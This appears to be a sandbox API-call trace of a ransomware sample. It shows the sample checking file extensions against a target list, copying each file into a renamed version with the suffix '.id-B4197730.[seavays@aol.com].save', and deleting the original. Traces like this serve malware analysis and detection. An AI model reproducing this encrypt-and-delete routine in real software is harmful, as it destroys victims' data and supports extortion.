"c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0050.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.974] lstrlenW (lpString=".doc") returned 4 [0050.974] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.974] lstrlenW (lpString=".docx") returned 5 [0050.974] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.974] lstrlenW (lpString=".pdf") returned 4 [0050.974] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.974] lstrlenW (lpString=".xls") returned 4 [0050.974] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.974] lstrlenW (lpString=".xlsx") returned 5 [0050.974] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.974] lstrlenW (lpString=".ppt") returned 4 [0050.974] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.974] lstrlenW (lpString=".zip") returned 4 [0050.974] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.974] lstrlenW (lpString=".rar") returned 4 [0050.974] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.974] lstrlenW (lpString=".bz2") returned 4 [0050.974] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.974] lstrlenW (lpString=".7z") returned 3 [0050.974] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.974] lstrlenW (lpString=".dbf") returned 4 [0050.974] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.974] lstrlenW (lpString=".1cd") returned 4 [0050.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.975] lstrlenW (lpString=".jpg") returned 4 [0050.975] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.975] lstrlenW (lpString=".doc") returned 4 [0050.975] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.975] lstrlenW (lpString=".docx") returned 5 [0050.975] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.975] lstrlenW (lpString=".pdf") returned 4 [0050.975] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.975] lstrlenW (lpString=".xls") returned 4 [0050.975] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.975] lstrlenW (lpString=".xlsx") returned 5 [0050.975] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.975] lstrlenW (lpString=".ppt") returned 4 [0050.975] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.975] lstrlenW (lpString=".zip") returned 4 [0050.975] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.975] lstrlenW (lpString=".rar") returned 4 [0050.975] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.975] lstrlenW (lpString=".bz2") returned 4 [0050.975] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.975] lstrlenW (lpString=".7z") returned 3 [0050.975] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.975] lstrlenW (lpString=".dbf") returned 4 [0050.975] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.975] lstrlenW (lpString=".1cd") returned 4 [0050.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0050.976] lstrlenW (lpString=".jpg") returned 4 [0050.976] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.976] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.976] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.976] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.976] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=18264) returned 1 [0050.976] CloseHandle (hObject=0x2f4) returned 1 [0050.977] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0050.977] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.977] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.977] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.977] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.977] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0050.980] GetLastError () returned 0x0 [0050.980] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4758, lpOverlapped=0x0) returned 1 [0052.022] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x4760, lpOverlapped=0x0) returned 1 [0052.023] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.023] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf8, lpOverlapped=0x0) returned 1 [0052.023] SetEndOfFile (hFile=0x2c0) returned 1 [0052.023] CloseHandle (hObject=0x2c0) returned 1 [0052.024] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.024] SetEndOfFile (hFile=0x2f4) returned 1 [0052.025] CloseHandle (hObject=0x2f4) returned 1 [0052.025] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.025] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0052.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.026] lstrlenW (lpString=".doc") returned 4 [0052.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.026] lstrlenW (lpString=".docx") returned 5 [0052.026] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.026] lstrlenW (lpString=".pdf") returned 4 [0052.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.026] lstrlenW (lpString=".xls") returned 4 [0052.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.026] lstrlenW (lpString=".xlsx") returned 5 [0052.026] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.026] lstrlenW (lpString=".ppt") returned 4 [0052.026] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.026] lstrlenW (lpString=".zip") returned 4 [0052.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.026] lstrlenW (lpString=".rar") returned 4 [0052.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.026] lstrlenW (lpString=".bz2") returned 4 [0052.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.026] lstrlenW (lpString=".7z") returned 3 [0052.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.026] lstrlenW (lpString=".dbf") returned 4 [0052.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.026] lstrlenW (lpString=".1cd") returned 4 [0052.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.026] lstrlenW (lpString=".jpg") returned 4 [0052.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.027] lstrlenW (lpString=".doc") returned 4 [0052.027] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.027] lstrlenW (lpString=".docx") returned 5 [0052.027] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.027] lstrlenW (lpString=".pdf") returned 4 [0052.027] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.027] lstrlenW (lpString=".xls") returned 4 [0052.027] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.027] lstrlenW (lpString=".xlsx") returned 5 [0052.027] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.027] lstrlenW (lpString=".ppt") returned 4 [0052.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.027] lstrlenW (lpString=".zip") returned 4 [0052.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.027] lstrlenW (lpString=".rar") returned 4 [0052.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.027] lstrlenW (lpString=".bz2") returned 4 [0052.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.027] lstrlenW (lpString=".7z") returned 3 [0052.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.027] lstrlenW (lpString=".dbf") returned 4 [0052.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.027] lstrlenW (lpString=".1cd") returned 4 [0052.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0052.027] lstrlenW (lpString=".jpg") returned 4 [0052.028] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.028] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.028] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0052.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.028] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=88533) returned 1 [0052.028] CloseHandle (hObject=0x2f4) returned 1 [0052.028] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0052.028] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.028] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.028] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0052.029] GetLastError () returned 0x0 [0052.029] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0052.033] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0052.035] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.035] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf2, lpOverlapped=0x0) returned 1 [0052.035] SetEndOfFile (hFile=0x2c0) returned 1 [0052.036] CloseHandle (hObject=0x2c0) returned 1 [0052.038] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.038] SetEndOfFile (hFile=0x2f4) returned 1 [0052.042] CloseHandle (hObject=0x2f4) returned 1 [0052.043] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.043] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0052.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.043] lstrlenW (lpString=".doc") returned 4 [0052.043] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.043] lstrlenW (lpString=".docx") returned 5 [0052.043] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0052.043] lstrlenW (lpString=".pdf") returned 4 [0052.043] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.043] lstrlenW (lpString=".xls") returned 4 [0052.043] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.043] lstrlenW (lpString=".xlsx") returned 5 [0052.043] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0052.043] lstrlenW (lpString=".ppt") returned 4 [0052.043] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.043] lstrlenW (lpString=".zip") returned 4 [0052.044] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.044] lstrlenW (lpString=".rar") returned 4 [0052.044] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.044] lstrlenW (lpString=".bz2") returned 4 [0052.044] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.044] lstrlenW (lpString=".7z") returned 3 [0052.044] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.044] lstrlenW (lpString=".dbf") returned 4 [0052.044] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.044] lstrlenW (lpString=".1cd") returned 4 [0052.044] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.044] lstrlenW (lpString=".jpg") returned 4 [0052.044] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.044] lstrlenW (lpString=".doc") returned 4 [0052.044] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.044] lstrlenW (lpString=".docx") returned 5 [0052.044] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0052.044] lstrlenW (lpString=".pdf") returned 4 [0052.044] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.044] lstrlenW (lpString=".xls") returned 4 [0052.044] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.044] lstrlenW (lpString=".xlsx") returned 5 [0052.044] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0052.044] lstrlenW (lpString=".ppt") returned 4 [0052.044] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.044] lstrlenW (lpString=".zip") returned 4 [0052.044] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.045] lstrlenW (lpString=".rar") returned 4 [0052.045] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.045] lstrlenW (lpString=".bz2") returned 4 [0052.045] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.045] lstrlenW (lpString=".7z") returned 3 [0052.045] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.045] lstrlenW (lpString=".dbf") returned 4 [0052.045] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.045] lstrlenW (lpString=".1cd") returned 4 [0052.045] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0052.045] lstrlenW (lpString=".jpg") returned 4 [0052.045] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.045] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.045] lstrlenW (lpString="Print.ico") returned 9 [0052.045] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.046] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1150) returned 1 [0052.047] CloseHandle (hObject=0x2f4) returned 1 [0052.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0052.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.047] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.047] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0052.047] GetLastError () returned 0x0 [0052.047] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x47e, lpOverlapped=0x0) returned 1 [0052.049] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x480, lpOverlapped=0x0) returned 1 [0052.050] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.050] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe6, lpOverlapped=0x0) returned 1 [0052.050] SetEndOfFile (hFile=0x2c0) returned 1 [0052.050] CloseHandle (hObject=0x2c0) returned 1 [0052.051] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.051] SetEndOfFile (hFile=0x2f4) returned 1 [0052.052] CloseHandle (hObject=0x2f4) returned 1 [0052.052] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.052] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0052.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.052] lstrlenW (lpString=".doc") returned 4 [0052.053] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.053] lstrlenW (lpString=".docx") returned 5 [0052.053] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0052.053] lstrlenW (lpString=".pdf") returned 4 [0052.053] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.053] lstrlenW (lpString=".xls") returned 4 [0052.053] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.053] lstrlenW (lpString=".xlsx") returned 5 [0052.053] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0052.053] lstrlenW (lpString=".ppt") returned 4 [0052.053] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.053] lstrlenW (lpString=".zip") returned 4 [0052.053] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.053] lstrlenW (lpString=".rar") returned 4 [0052.053] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.053] lstrlenW (lpString=".bz2") returned 4 [0052.053] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.053] lstrlenW (lpString=".7z") returned 3 [0052.053] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.053] lstrlenW (lpString=".dbf") returned 4 [0052.053] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.053] lstrlenW (lpString=".1cd") returned 4 [0052.053] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.053] lstrlenW (lpString=".jpg") returned 4 [0052.053] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.053] lstrlenW (lpString=".doc") returned 4 [0052.053] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.054] lstrlenW (lpString=".docx") returned 5 [0052.054] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0052.054] lstrlenW (lpString=".pdf") returned 4 [0052.054] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.054] lstrlenW (lpString=".xls") returned 4 [0052.054] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.054] lstrlenW (lpString=".xlsx") returned 5 [0052.054] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0052.054] lstrlenW (lpString=".ppt") returned 4 [0052.054] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 